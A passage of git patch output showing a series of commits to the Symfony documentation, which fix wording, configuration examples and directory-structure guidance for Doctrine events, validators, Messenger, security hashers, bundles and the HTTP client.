+                    # you can also restrict listeners to a specific Doctrine connection
+                    'connection' => 'default',
+                ])
             ;
         };
 
@@ -505,6 +526,10 @@ can do it in the service configuration:
             ;
         };
 
+.. versionadded:: 5.3
+
+    Handling priority for subscribers alongside listeners has been introduced in Symfony 5.3.
+
 .. tip::
 
     Symfony loads (and instantiates) Doctrine subscribers whenever the

From 2c082536f083677436f835f675d40f1cc898736d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 15 Feb 2021 13:10:56 +0100
Subject: [PATCH 0508/5766] Tweak

---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 16c51734411..bce3b6873e9 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -528,7 +528,7 @@ can do it in the service configuration:
 
 .. versionadded:: 5.3
 
-    Handling priority for subscribers alongside listeners has been introduced in Symfony 5.3.
+    Subscriber priority was introduced in Symfony 5.3.
 
 .. tip::
 

From b920cfd7cd37500b2733b6754fc26e6dc94c7ce2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Feb 2021 15:18:31 +0100
Subject: [PATCH 0509/5766] Tweak

---
 reference/constraints/Compound.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index a43899e7c24..53ce70c6df2 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -71,19 +71,16 @@ you can create your own named set or requirements to be reused consistently ever
             }
         }  
 
+Add ``@Annotation`` or ``#[\Attribute]`` to the constraint class if you want to
+use it as an annotation/attribute in other classes. If the constraint has
+configuration options, define them as public properties on the constraint class.
+
 .. versionadded:: 5.2
 
     The ability to use PHP attributes to configure constraints was introduced in
     Symfony 5.2. Prior to this, Doctrine Annotations were the only way to
     annotate constraints.
 
-.. note::
-
-    The ``@Annotation`` or ``#[\Attribute]`` annotation is necessary for this new constraint in
-    order to make it available for use in classes via annotations.
-    Options for your constraint are represented as public properties on the
-    constraint class.
-
 You can now use it anywhere you need it:
 
 .. configuration-block::

From 294972523d69eeb78e89ba96b579f9ce2652de1e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 16 Feb 2021 17:17:02 +0100
Subject: [PATCH 0510/5766] Reword

---
 messenger.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b8819c33c4a..17f894fd0e5 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1981,12 +1981,12 @@ Other Middlewares
 
 .. versionadded:: 5.3
 
-    The ``router_context`` middleware were introduced in Symfony 5.3.
+    The ``router_context`` middleware was introduced in Symfony 5.3.
 
-When the consumer needs to build an absolute URL, for instance: rendering a
-template with links, it needs the initial's request context in order to
-retrieves the domain and information needed to build the URL. This can be
-achieved by declaring the ``router_context`` middleware in the bus.
+Add the ``router_context`` middleware if you need to generate absolute URLs in
+the consumer (e.g. render a template with links). This middleware stores the
+original request context (i.e. the host, the HTTP port, etc.) which is needed
+when building absolute URLs.
 
 .. configuration-block::
 

From f085b3262ec80df720768dbd30cd17de846fdd5c Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Tue, 16 Feb 2021 20:17:39 +0100
Subject: [PATCH 0511/5766] [Validator] Use single quotes for a string

---
 validation/groups.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/groups.rst b/validation/groups.rst
index b25c82236fc..7681f583a08 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -123,7 +123,7 @@ user registers and when a user updates their contact information later:
                 ]));
 
                 $metadata->addPropertyConstraint('city', new Assert\Length([
-                    "min" => 2,
+                    'min' => 2,
                 ]));
             }
         }

From 462f27fcedade2bfc6b2542d70b48be6ee383517 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Feb 2021 09:05:23 +0100
Subject: [PATCH 0512/5766] Minor fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 2cd18d823bd..f3610db7a00 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1324,7 +1324,7 @@ The SQS transport DSN may looks like this:
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key= AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
+    MESSENGER_TRANSPORT_DSN=https://sqs.eu-west-3.amazonaws.com/123456789012/messages?access_key=AKIAIOSFODNN7EXAMPLE&secret_key=j17M97ffSVoKI0briFoo9a
     MESSENGER_TRANSPORT_DSN=sqs://localhost:9494/messages?sslmode=disable
 
 .. note::

From dca6cf4a5aee042b33929f9fc1e9a50562d34191 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 17 Feb 2021 09:52:54 +0100
Subject: [PATCH 0513/5766] [Security] bcrypt is the new default hasher for
 native/auto

---
 best_practices.rst | 2 +-
 security.rst       | 5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 5f137d492c1..be3486e355b 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -368,7 +368,7 @@ Use the ``auto`` Password Hasher
 
 The :ref:`auto password hasher <reference-security-encoder-auto>` automatically
 selects the best possible encoder/hasher depending on your PHP installation.
-Currently, it tries to use ``sodium`` by default and falls back to ``bcrypt``.
+Starting from Symfony 5.3, the default auto hasher is ``bcrypt``.
 
 Use Voters to Implement Fine-grained Security Restrictions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/security.rst b/security.rst
index 3b9341a07d6..c91db7be29a 100644
--- a/security.rst
+++ b/security.rst
@@ -219,9 +219,8 @@ command will pre-configure this for you:
             encoders:
                 # use your user class name here
                 App\Entity\User:
-                    # Use native password encoder
-                    # This value auto-selects the best possible hashing algorithm
-                    # (i.e. Sodium when available).
+                    # Use native password encoder, which auto-selects the best
+                    # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
                     algorithm: auto
 
     .. code-block:: xml

From a74de75dde9029e83192bfe156272c71f01e4891 Mon Sep 17 00:00:00 2001
From: Thijs-jan Veldhuizen <t.j.veldhuizen@tjveldhuizen.nl>
Date: Wed, 17 Feb 2021 15:53:19 +0100
Subject: [PATCH 0514/5766] Update monolog_console.rst

---
 logging/monolog_console.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/logging/monolog_console.rst b/logging/monolog_console.rst
index 5c0263c5349..21c67d705d8 100644
--- a/logging/monolog_console.rst
+++ b/logging/monolog_console.rst
@@ -67,6 +67,16 @@ the console. If they are displayed, they are timestamped and colored appropriate
 Additionally, error logs are written to the error output (``php://stderr``).
 There is no need to conditionally handle the verbosity settings anymore.
 
+===============  =======================================  ============
+LoggerInterface  Verbosity                                Command line
+===============  =======================================  ============
+->error()        OutputInterface::VERBOSITY_QUIET         stderr
+->warning()      OutputInterface::VERBOSITY_NORMAL        stdout
+->notice()       OutputInterface::VERBOSITY_VERBOSE       -v
+->info()         OutputInterface::VERBOSITY_VERY_VERBOSE  -vv
+->debug()        OutputInterface::VERBOSITY_DEBUG         -vvv
+===============  =======================================  ============
+
 The Monolog console handler is enabled by default:
 
 .. configuration-block::

From 25c0716f376796104c3ecebeb839305c07672024 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Wed, 17 Feb 2021 17:21:03 +0100
Subject: [PATCH 0515/5766] Add reference to commit message conventions

---
 contributing/code/conventions.rst   | 6 +++---
 contributing/code/pull_requests.rst | 2 ++
 2 files changed, 5 insertions(+), 3 deletions(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 3174ac93660..0b50de6885f 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -99,9 +99,9 @@ conventions:
 
 * No third level sections are allowed;
 
-* Messages should follow the commit message conventions: should be short,
-  capitalize the line, do not end with a period, use an imperative verb to
-  start the line;
+* Messages should follow the :ref:`commit message conventions <commit-messages>`:
+  should be short, capitalize the line, do not end with a period, use an
+  imperative verb to start the line;
 
 * New entries must be added on top of the list.
 
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index e69371e9d5e..1cb0da6dddc 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -224,6 +224,8 @@ in mind the following:
 * Never fix coding standards in some existing code as it makes the code review
   more difficult;
 
+.. _commit-messages:
+
 * Write good commit messages: Start by a short subject line (the first line),
   followed by a blank line and a more detailed description.
 

From 251304e424f26a2dad7cd1d594a17ec23e333f93 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Wed, 17 Feb 2021 19:13:44 +0100
Subject: [PATCH 0516/5766] [Validator] Use null coalescing operator instead of
 ternary operator

---
 validation/severity.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/severity.rst b/validation/severity.rst
index 23b81145ee9..7a8c22298fd 100644
--- a/validation/severity.rst
+++ b/validation/severity.rst
@@ -137,7 +137,7 @@ method. Each constraint exposes the attached payload as a public property::
     // Symfony\Component\Validator\ConstraintViolation
     $constraintViolation = ...;
     $constraint = $constraintViolation->getConstraint();
-    $severity = isset($constraint->payload['severity']) ? $constraint->payload['severity'] : null;
+    $severity = $constraint->payload['severity'] ?? null;
 
 For example, you can leverage this to customize the ``form_errors`` block
 so that the severity is added as an additional HTML class:

From 2de6e69f9d628cca316fa5549e4a50d51201dd84 Mon Sep 17 00:00:00 2001
From: Tamcy <tamcy@users.noreply.github.com>
Date: Thu, 18 Feb 2021 13:29:18 +0800
Subject: [PATCH 0517/5766] Update the default `cookie_secure` value

The default and special `cookie_secure` value should be `'auto'`, not `null`.
---
 reference/configuration/framework.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d3baf76260a..2636bee4a2b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1589,10 +1589,10 @@ The possible values for this option are:
 cookie_secure
 .............
 
-**type**: ``boolean`` or ``null`` **default**: ``null``
+**type**: ``boolean`` or ``'auto'`` **default**: ``'auto'``
 
 This determines whether cookies should only be sent over secure connections. In
-addition to ``true`` and ``false``, there's a special ``null`` value that
+addition to ``true`` and ``false``, there's a special ``'auto'`` value that
 means ``true`` for HTTPS requests and ``false`` for HTTP requests.
 
 cookie_httponly

From 4f851e84f2a4372cdc259359bf51eded04ecde06 Mon Sep 17 00:00:00 2001
From: wkania <wojciech.kania@gmail.com>
Date: Wed, 17 Feb 2021 19:42:10 +0100
Subject: [PATCH 0518/5766] [Validator] Use import instead of FQCN

---
 form/dynamic_form_modification.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 279b5b4118d..7c52e5f3abd 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -377,6 +377,8 @@ sport like this::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
+    use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\Form\FormBuilderInterface;
@@ -390,7 +392,7 @@ sport like this::
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -407,7 +409,7 @@ sport like this::
                     $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                     $form->add('position', EntityType::class, [
-                        'class' => 'App\Entity\Position',
+                        'class' => Position::class,
                         'placeholder' => '',
                         'choices' => $positions,
                     ]);
@@ -443,6 +445,7 @@ The type would now look like::
     // src/Form/Type/SportMeetupType.php
     namespace App\Form\Type;
 
+    use App\Entity\Position;
     use App\Entity\Sport;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
     use Symfony\Component\Form\FormInterface;
@@ -454,7 +457,7 @@ The type would now look like::
         {
             $builder
                 ->add('sport', EntityType::class, [
-                    'class'       => 'App\Entity\Sport',
+                    'class' => Sport::class,
                     'placeholder' => '',
                 ])
             ;
@@ -463,7 +466,7 @@ The type would now look like::
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
-                    'class' => 'App\Entity\Position',
+                    'class' => Position::class,
                     'placeholder' => '',
                     'choices' => $positions,
                 ]);

From 7948311afca73fc192531e03575382fd9783ac5f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Wed, 17 Feb 2021 16:15:05 +0100
Subject: [PATCH 0519/5766] fix specifying http_version in YAML

---
 http_client.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 91122c00961..6add04b711e 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -750,7 +750,8 @@ the ``http_version`` option:
         # config/packages/framework.yaml
         framework:
             http_client:
-                http_version: '2.0'
+                default_options:
+                    http_version: '2.0'
 
     .. code-block:: xml
 

From cb5764ad53359ca859abec4c00972f23df69d3ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Feb 2021 15:03:54 +0100
Subject: [PATCH 0520/5766] Updated XML and PHP configs too

---
 http_client.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 6add04b711e..be195f2008d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -765,7 +765,9 @@ the ``http_version`` option:
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <framework:http-client http-version="2.0"/>
+                <framework:http-client>
+                    <framework:default-options http-version="2.0"/>
+                </framework-http-client>
             </framework:config>
         </container>
 
@@ -774,7 +776,9 @@ the ``http_version`` option:
         // config/packages/framework.php
         $container->loadFromExtension('framework', [
             'http_client' => [
-                'http_version' => '2.0',
+                'default_options' => [
+                    'http_version' => '2.0',
+                ],
             ],
         ]);
 

From d44bfa826d7ea3dc438999d81cd0dd36a8f29516 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Sun, 14 Feb 2021 22:57:48 -0500
Subject: [PATCH 0521/5766] Promoting new bundle directory structure as best
 practice

---
 bundles/best_practices.rst | 107 +++++++++++++++++++++++--------------
 1 file changed, 68 insertions(+), 39 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 696c9da58ff..bf32457cd81 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -68,30 +68,47 @@ The basic directory structure of an AcmeBlogBundle must read as follows:
 .. code-block:: text
 
     <your-bundle>/
-    ├─ AcmeBlogBundle.php
-    ├─ Controller/
-    ├─ README.md
-    ├─ LICENSE
-    ├─ Resources/
-    │   ├─ config/
-    │   ├─ doc/
-    │   │  └─ index.rst
-    │   ├─ translations/
-    │   ├─ views/
-    │   └─ public/
-    └─ Tests/
+    ├── config/
+    ├── docs/
+    │   └─ index.md
+    ├── public/
+    ├── src/
+    │   ├── Controller/
+    │   ├── DependencyInjection/
+    │   └── AcmeBlogBundle.php
+    ├── templates/
+    ├── tests/
+    ├── translations/
+    ├── LICENSE
+    └── README.md
+
+.. versionadded:: 4.4
+
+    This directory convention was introduced in Symfony 4.4 and can be used only when requiring
+    ``symfony/http-kernel`` 4.4 or superior.
+
+
+and the bundle path must be adjusted to the root directory::
+
+    class AcmeBlogBundle extends Bundle
+    {
+        public function getPath(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
 
 **The following files are mandatory**, because they ensure a structure convention
 that automated tools can rely on:
 
-* ``AcmeBlogBundle.php``: This is the class that transforms a plain directory
+* ``src/AcmeBlogBundle.php``: This is the class that transforms a plain directory
   into a Symfony bundle (change this to your bundle's name);
 * ``README.md``: This file contains the basic description of the bundle and it
   usually shows some basic examples and links to its full documentation (it
   can use any of the markup formats supported by GitHub, such as ``README.rst``);
 * ``LICENSE``: The full contents of the license used by the code. Most third-party
   bundles are published under the MIT license, but you can `choose any license`_;
-* ``Resources/doc/index.rst``: The root file for the Bundle documentation.
+* ``docs/index.md``: The root file for the Bundle documentation.
 
 The depth of subdirectories should be kept to a minimum for the most used
 classes and files. Two levels is the maximum.
@@ -107,19 +124,19 @@ and others are just conventions followed by most developers):
 ===================================================  ========================================
 Type                                                 Directory
 ===================================================  ========================================
-Commands                                             ``Command/``
-Controllers                                          ``Controller/``
-Service Container Extensions                         ``DependencyInjection/``
-Doctrine ORM entities (when not using annotations)   ``Entity/``
-Doctrine ODM documents (when not using annotations)  ``Document/``
-Event Listeners                                      ``EventListener/``
-Configuration (routes, services, etc.)               ``Resources/config/``
-Web Assets (CSS, JS, images)                         ``Resources/public/``
-Translation files                                    ``Resources/translations/``
-Validation (when not using annotations)              ``Resources/config/validation/``
-Serialization (when not using annotations)           ``Resources/config/serialization/``
-Templates                                            ``Resources/views/``
-Unit and Functional Tests                            ``Tests/``
+Commands                                             ``src/Command/``
+Controllers                                          ``src/Controller/``
+Service Container Extensions                         ``src/DependencyInjection/``
+Doctrine ORM entities (when not using annotations)   ``src/Entity/``
+Doctrine ODM documents (when not using annotations)  ``src/Document/``
+Event Listeners                                      ``src/EventListener/``
+Configuration (routes, services, etc.)               ``config/``
+Web Assets (CSS, JS, images)                         ``public/``
+Translation files                                    ``translations/``
+Validation (when not using annotations)              ``config/validation/``
+Serialization (when not using annotations)           ``config/serialization/``
+Templates                                            ``templates/``
+Unit and Functional Tests                            ``tests/``
 ===================================================  ========================================
 
 Classes
@@ -127,7 +144,7 @@ Classes
 
 The bundle directory structure is used as the namespace hierarchy. For
 instance, a ``ContentController`` controller which is stored in
-``Acme/BlogBundle/Controller/ContentController.php`` would have the fully
+``src/Controller/ContentController.php`` would have the fully
 qualified class name of ``Acme\BlogBundle\Controller\ContentController``.
 
 All classes and files must follow the :doc:`Symfony coding standards </contributing/code/standards>`.
@@ -153,7 +170,7 @@ Tests
 -----
 
 A bundle should come with a test suite written with PHPUnit and stored under
-the ``Tests/`` directory. Tests should follow the following principles:
+the ``tests/`` directory. Tests should follow the following principles:
 
 * The test suite must be executable with a simple ``phpunit`` command run from
   a sample application;
@@ -240,10 +257,10 @@ Documentation
 
 All classes and functions must come with full PHPDoc.
 
-Extensive documentation should also be provided in the ``Resources/doc/``
+Extensive documentation should also be provided in the ``docs/``
 directory.
-The index file (for example ``Resources/doc/index.rst`` or
-``Resources/doc/index.md``) is the only mandatory file and must be the entry
+The index file (for example ``docs/index.rst`` or
+``docs/index.md``) is the only mandatory file and must be the entry
 point for the documentation. The
 :doc:`reStructuredText (rST) </contributing/documentation/format>` is the format
 used to render the documentation on the Symfony website.
@@ -480,10 +497,22 @@ The ``composer.json`` file should include at least the following metadata:
     This information is used by Symfony to load the classes of the bundle. It's
     recommended to use the `PSR-4`_ autoload standard: use the namespace as key,
     and the location of the bundle's main class (relative to ``composer.json``)
-    as value. For example, if the main class is located in the bundle root
-    directory: ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "" } }``.
-    If the main class is located in the ``src/`` directory of the bundle:
-    ``"autoload": { "psr-4": { "SomeVendor\\BlogBundle\\": "src/" } }``.
+    as value. As the main class is located in the ``src/`` directory of the bundle:
+
+    .. code-block:: json
+
+        {
+            "autoload": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\": "src/"
+                }
+            },
+            "autoload-dev": {
+                "psr-4": {
+                    "Acme\\BlogBundle\\Tests\\": "tests/"
+                }
+            }
+        }
 
 In order to make it easier for developers to find your bundle, register it on
 `Packagist`_, the official repository for Composer packages.
@@ -493,15 +522,15 @@ Resources
 
 If the bundle references any resources (config files, translation files, etc.),
 don't use physical paths (e.g. ``__DIR__/config/services.xml``) but logical
-paths (e.g. ``@FooBundle/Resources/config/services.xml``).
+paths (e.g. ``@AcmeBlogBundle/config/services.xml``).
 
 The logical paths are required because of the bundle overriding mechanism that
 lets you override any resource/file of any bundle. See :ref:`http-kernel-resource-locator`
 for more details about transforming physical paths into logical paths.
 
 Beware that templates use a simplified version of the logical path shown above.
-For example, an ``index.html.twig`` template located in the ``Resources/views/Default/``
-directory of the FooBundle, is referenced as ``@Foo/Default/index.html.twig``.
+For example, an ``index.html.twig`` template located in the ``templates/Default/``
+directory of the AcmeBlogBundle, is referenced as ``@AcmeBlog/Default/index.html.twig``.
 
 Learn more
 ----------

From 36421ad60206b79bf1fb5d701dac7c480ddd474e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Feb 2021 15:50:36 +0100
Subject: [PATCH 0522/5766] Tweaks

---
 bundles/best_practices.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index bf32457cd81..9c615c46db1 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -63,7 +63,7 @@ configuration options (see below for some usage examples).
 Directory Structure
 -------------------
 
-The basic directory structure of an AcmeBlogBundle must read as follows:
+The following is the recommended directory structure of an AcmeBlogBundle:
 
 .. code-block:: text
 
@@ -84,11 +84,11 @@ The basic directory structure of an AcmeBlogBundle must read as follows:
 
 .. versionadded:: 4.4
 
-    This directory convention was introduced in Symfony 4.4 and can be used only when requiring
-    ``symfony/http-kernel`` 4.4 or superior.
+    This directory convention was introduced in Symfony 4.4 and can be used only
+    when requiring ``symfony/http-kernel`` 4.4 or superior.
 
-
-and the bundle path must be adjusted to the root directory::
+This directory structure requires to configure the bundle path to its root
+directory as follows::
 
     class AcmeBlogBundle extends Bundle
     {

From 564378a49437963665578bd389209d803f56213c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Feb 2021 16:08:32 +0100
Subject: [PATCH 0523/5766] Removed an unnecessary versionadded directive

---
 bundles/best_practices.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 29d8008b896..bf0138ddec8 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -82,11 +82,6 @@ The following is the recommended directory structure of an AcmeBlogBundle:
     ├── LICENSE
     └── README.md
 
-.. versionadded:: 4.4
-
-    This directory convention was introduced in Symfony 4.4 and can be used only
-    when requiring ``symfony/http-kernel`` 4.4 or superior.
-
 This directory structure requires to configure the bundle path to its root
 directory as follows::
 

From f37c6bed41b3c755b31bc04c70cdc8baa6cab587 Mon Sep 17 00:00:00 2001
From: Nietono <8806554+nietonchique@users.noreply.github.com>
Date: Fri, 29 Jan 2021 03:03:50 +0300
Subject: [PATCH 0524/5766] Update Type.rst

Change Ramsey to symfony/uid
---
 reference/constraints/Type.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 8aa0edd1ba2..aa48a17ca6d 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -18,7 +18,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
+This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using
@@ -36,7 +36,7 @@ This will check if ``id`` is an instance of ``Ramsey\Uuid\UuidInterface``,
         class Author
         {
             /**
-             * @Assert\Type("Ramsey\Uuid\UuidInterface")
+             * @Assert\Type("Symfony\Component\Uid\Uid")
              */
             protected $id;
 

From e229b93002bab30207ccba82c36091d7c65b7367 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:29:09 +0100
Subject: [PATCH 0525/5766] Reworded the example

---
 reference/constraints/Type.rst | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index aa48a17ca6d..103ea9fd43c 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -18,7 +18,7 @@ Validator   :class:`Symfony\\Component\\Validator\\Constraints\\TypeValidator`
 Basic Usage
 -----------
 
-This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
+This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\Address``,
 ``firstName`` is of type ``string`` (using :phpfunction:`is_string` PHP function),
 ``age`` is an ``integer`` (using :phpfunction:`is_int` PHP function) and
 ``accessCode`` contains either only letters or only digits (using
@@ -36,9 +36,9 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         class Author
         {
             /**
-             * @Assert\Type("Symfony\Component\Uid\Uid")
+             * @Assert\Type("Symfony\Component\Mime\Address")
              */
-            protected $id;
+            protected $emailAddress;
 
             /**
              * @Assert\Type("string")
@@ -64,8 +64,8 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         # config/validator/validation.yaml
         App\Entity\Author:
             properties:
-                id:
-                    - Type: Ramsey\Uuid\UuidInterface
+                emailAddress:
+                    - Type: Symfony\Component\Mime\Address
 
                 firstName:
                     - Type: string
@@ -88,9 +88,9 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
             xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
 
             <class name="App\Entity\Author">
-                <property name="id">
+                <property name="emailAddress">
                     <constraint name="Type">
-                        <option name="type">Ramsey\Uuid\UuidInterface</option>
+                        <option name="type">Symfony\Component\Mime\Address</option>
                     </constraint>
                 </property>
                 <property name="firstName">
@@ -120,7 +120,7 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use Ramsey\Uuid\UuidInterface;
+        use Symfony\Component\Mime\Address;
         use Symfony\Component\Validator\Constraints as Assert;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -128,7 +128,7 @@ This will check if ``id`` is an instance of ``Symfony\Component\Uid\Uid``,
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addPropertyConstraint('id', new Assert\Type(UuidInterface::class));
+                $metadata->addPropertyConstraint('emailAddress', new Assert\Type(Address::class));
 
                 $metadata->addPropertyConstraint('firstName', new Assert\Type('string'));
 

From fd8791b7b1e379118b5c7920dfbfa8ca7fb6dba2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:31:22 +0100
Subject: [PATCH 0526/5766] Updated the example of PHP attributes

---
 reference/constraints/Type.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index c557c26fe7c..ab56be81276 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -64,13 +64,13 @@ This will check if ``emailAddress`` is an instance of ``Symfony\Component\Mime\A
         // src/Entity/Author.php
         namespace App\Entity;
 
-        use Ramsey\Uuid\UuidInterface;
+        use Symfony\Component\Mime\Address;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class Author
         {
-            #[Assert\Type(UuidInterface::class)]
-            protected $id;
+            #[Assert\Type(Address::class)]
+            protected $emailAddress;
 
             #[Assert\Type('string')]
             protected $firstName;

From 9a8101f544cfc4e361f5d8bf0aa8a2ef188e3ee3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Feb 2021 17:38:28 +0100
Subject: [PATCH 0527/5766] Tweaks

---
 http_client.rst | 17 +++++++++--------
 1 file changed, 9 insertions(+), 8 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index d541c5933b4..185e4a972cd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -120,7 +120,7 @@ You can configure the global options using the ``default_options`` option:
             <framework:config>
                 <framework:http-client>
                     <framework:default-options max-redirects="7"/>
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
@@ -179,7 +179,7 @@ The HTTP client also has one configuration option called
             <framework:config>
                 <framework:http-client max-host-connections="10">
                     <!-- ... -->
-                </framework-http-client>
+                </framework:http-client>
             </framework:config>
         </container>
 
@@ -502,8 +502,7 @@ associative array via the ``query`` option, that will be merged with the URL::
 Headers
 ~~~~~~~
 
-Use the ``headers`` option to define both the default headers added to all
-requests and the specific headers for each request:
+Use the ``headers`` option to define the default headers added to all requests:
 
 .. configuration-block::
 
@@ -511,8 +510,8 @@ requests and the specific headers for each request:
 
         # config/packages/framework.yaml
         framework:
-            default_options:
-                http_client:
+            http_client:
+                default_options:
                     headers:
                         'User-Agent': 'My Fancy App'
 
